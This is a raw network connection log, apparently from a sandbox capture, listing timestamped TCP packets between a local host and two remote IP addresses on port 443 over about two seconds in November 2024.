Nov 20, 2024 00:19:10.266283989 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.266338110 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.355163097 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.355184078 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.355240107 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.355247021 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.355276108 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.355309963 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.356209040 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.356229067 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.356275082 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.356281042 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.356295109 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.356322050 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.357820034 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.357841015 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.357889891 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.357897043 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.357908964 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.357938051 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.358833075 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.358851910 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.358903885 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.358911037 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.358961105 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.453501940 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.453526020 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.453677893 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.453687906 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.453768015 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.454235077 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.454255104 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.454319954 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.454327106 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.454376936 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.454626083 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.454647064 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.454689980 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.454695940 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.454710007 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.454756975 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.455221891 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.455240011 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.455296040 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.455302000 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.455341101 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.456177950 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.456196070 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.456248045 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.456254959 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.456295013 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.457003117 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.457022905 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.457065105 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.457071066 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.457098007 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.457107067 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.457206011 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.457261086 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.457268000 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.457279921 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.457312107 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.457325935 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.457344055 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.457355976 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.457369089 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.457376003 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.505819082 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.505909920 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.505985022 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.508858919 CET	49717	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.508933067 CET	443	49717	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.509006977 CET	49717	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.510602951 CET	49718	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.510631084 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.510701895 CET	49718	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.510941029 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.510978937 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.511797905 CET	49719	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.511826038 CET	443	49719	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.511889935 CET	49719	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.511981964 CET	49717	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.512010098 CET	443	49717	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.512083054 CET	49718	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.512109041 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.512129068 CET	49719	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.512151003 CET	443	49719	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.512861013 CET	49720	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.512901068 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.512980938 CET	49720	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.513118982 CET	49720	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.513134956 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.719407082 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:10.719636917 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:10.719717979 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:10.719901085 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:10.719924927 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:11.194173098 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.195166111 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.195233107 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.195792913 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.195811033 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.196006060 CET	443	49717	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.196377039 CET	49717	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.196407080 CET	443	49717	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.196897030 CET	49717	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.196909904 CET	443	49717	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.200892925 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.201158047 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.201236010 CET	49720	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.201270103 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.201828003 CET	49720	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.201836109 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.202060938 CET	49718	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.202079058 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.202539921 CET	49718	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.202552080 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.208810091 CET	443	49719	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.209222078 CET	49719	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.209237099 CET	443	49719	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.209793091 CET	49719	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.209803104 CET	443	49719	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.302248955 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.302359104 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.302416086 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.302433968 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.302478075 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.302550077 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.302551985 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.302573919 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.302583933 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.302598953 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.302607059 CET	49716	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.302609921 CET	443	49716	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.305648088 CET	49721	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.305691957 CET	443	49721	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.305883884 CET	49721	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.306026936 CET	49721	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.306041956 CET	443	49721	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.309237003 CET	443	49717	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.309375048 CET	443	49717	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.309448957 CET	49717	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.309514999 CET	49717	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.309514999 CET	49717	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.309542894 CET	443	49717	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.309565067 CET	443	49717	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.310976982 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.311028004 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.311145067 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.311194897 CET	49720	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.311247110 CET	49720	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.311264038 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.311274052 CET	49720	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.311280012 CET	443	49720	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.312428951 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.312457085 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.312500954 CET	49718	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.312510014 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.312885046 CET	49722	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.312906027 CET	443	49722	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.312906981 CET	49718	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.312942982 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.312959909 CET	49718	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.312964916 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.312984943 CET	49722	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.313010931 CET	443	49718	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.313112974 CET	49722	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.313123941 CET	443	49722	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.313906908 CET	49723	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.313924074 CET	443	49723	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.314070940 CET	49723	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.314480066 CET	49723	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.314490080 CET	443	49723	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.315474987 CET	49724	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.315505028 CET	443	49724	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.315568924 CET	49724	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.315692902 CET	49724	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.315705061 CET	443	49724	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.325598001 CET	443	49719	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.325668097 CET	443	49719	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.325813055 CET	49719	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.325861931 CET	49719	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.325862885 CET	49719	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.325880051 CET	443	49719	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.325900078 CET	443	49719	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.328296900 CET	49725	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.328352928 CET	443	49725	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.328425884 CET	49725	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.328572035 CET	49725	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.328602076 CET	443	49725	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.388530970 CET	49726	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:11.388560057 CET	443	49726	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:11.388628006 CET	49726	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:11.388892889 CET	49726	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:11.388915062 CET	443	49726	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:11.899198055 CET	443	49726	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:11.899281979 CET	49726	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:11.900640011 CET	49726	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:11.900649071 CET	443	49726	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:11.901668072 CET	443	49726	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:11.902867079 CET	49726	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:11.902966022 CET	49726	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:11.902971983 CET	443	49726	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:11.978337049 CET	443	49721	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.978988886 CET	49721	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.979015112 CET	443	49721	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.979432106 CET	49721	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.979440928 CET	443	49721	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.982464075 CET	443	49723	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.982840061 CET	49723	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.982861042 CET	443	49723	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.983380079 CET	49723	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.983386993 CET	443	49723	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.992038965 CET	443	49725	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.992204905 CET	443	49724	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.992454052 CET	49725	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.992460966 CET	443	49725	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.992949009 CET	49724	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.992958069 CET	443	49724	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.993010044 CET	49725	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.993014097 CET	443	49725	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:11.993340969 CET	49724	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:11.993345976 CET	443	49724	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.007235050 CET	443	49722	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.007607937 CET	49722	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.007625103 CET	443	49722	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.008126974 CET	49722	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.008131981 CET	443	49722	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.086895943 CET	443	49721	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.086978912 CET	443	49721	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.087071896 CET	49721	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.087294102 CET	49721	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.087323904 CET	443	49721	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.087344885 CET	49721	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.087353945 CET	443	49721	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.089802980 CET	49727	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.089828014 CET	443	49727	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.089919090 CET	49727	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.090034962 CET	49727	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.090044975 CET	443	49727	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.091573954 CET	443	49723	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.091635942 CET	443	49723	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.092113972 CET	49723	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.092113972 CET	49723	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.092139006 CET	49723	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.092150927 CET	443	49723	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.094214916 CET	49728	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.094238997 CET	443	49728	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.094297886 CET	49728	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.094415903 CET	49728	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.094427109 CET	443	49728	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.100759983 CET	443	49725	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.100958109 CET	443	49725	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.101047039 CET	49725	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.103709936 CET	443	49724	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.103779078 CET	443	49724	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.104290962 CET	49724	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.108779907 CET	49724	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.108779907 CET	49724	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.108803034 CET	443	49724	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.108813047 CET	443	49724	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.109059095 CET	49725	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.109064102 CET	443	49725	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.109091997 CET	49725	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.109096050 CET	443	49725	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.119582891 CET	443	49722	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.119652033 CET	443	49722	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.119776011 CET	49722	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.122561932 CET	49722	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.122561932 CET	49722	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.122584105 CET	443	49722	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.122596979 CET	443	49722	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.125226974 CET	49729	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.125258923 CET	443	49729	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.125399113 CET	49729	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.126360893 CET	49730	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.126372099 CET	443	49730	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.126944065 CET	49729	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.126949072 CET	49730	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.126960993 CET	443	49729	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.127135992 CET	49730	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.127146006 CET	443	49730	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.127785921 CET	49731	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.127794981 CET	443	49731	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.128160000 CET	49731	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.128254890 CET	49731	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.128268003 CET	443	49731	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.392169952 CET	443	49726	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:12.392426014 CET	443	49726	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:12.392450094 CET	49726	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:12.392477989 CET	49726	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:12.767005920 CET	443	49727	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.767443895 CET	49727	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.767476082 CET	443	49727	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.767915010 CET	49727	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.767920017 CET	443	49727	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.781908035 CET	443	49728	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.782442093 CET	49728	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.782463074 CET	443	49728	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.782957077 CET	49728	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.782964945 CET	443	49728	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.784132957 CET	443	49729	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.784449100 CET	49729	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.784466982 CET	443	49729	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.784816027 CET	49729	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.784820080 CET	443	49729	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.797178030 CET	443	49731	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.797596931 CET	49731	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.797620058 CET	443	49731	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.798065901 CET	49731	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.798074961 CET	443	49731	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.823992968 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:12.824027061 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:12.824098110 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:12.824440956 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:12.824453115 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:12.824456930 CET	443	49730	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.824877977 CET	49730	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.824891090 CET	443	49730	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.825292110 CET	49730	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.825295925 CET	443	49730	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.872026920 CET	443	49727	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.872087955 CET	443	49727	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.872138977 CET	49727	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.872313023 CET	49727	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.872327089 CET	443	49727	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.872337103 CET	49727	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.872342110 CET	443	49727	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.874996901 CET	49733	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.875032902 CET	443	49733	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.875092983 CET	49733	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.875334024 CET	49733	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.875348091 CET	443	49733	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.890883923 CET	443	49728	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.890914917 CET	443	49729	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.890943050 CET	443	49728	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.890985966 CET	49728	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.891011000 CET	443	49729	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.891068935 CET	49729	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.891124964 CET	49729	443	192.168.2.6	13.107.246.45
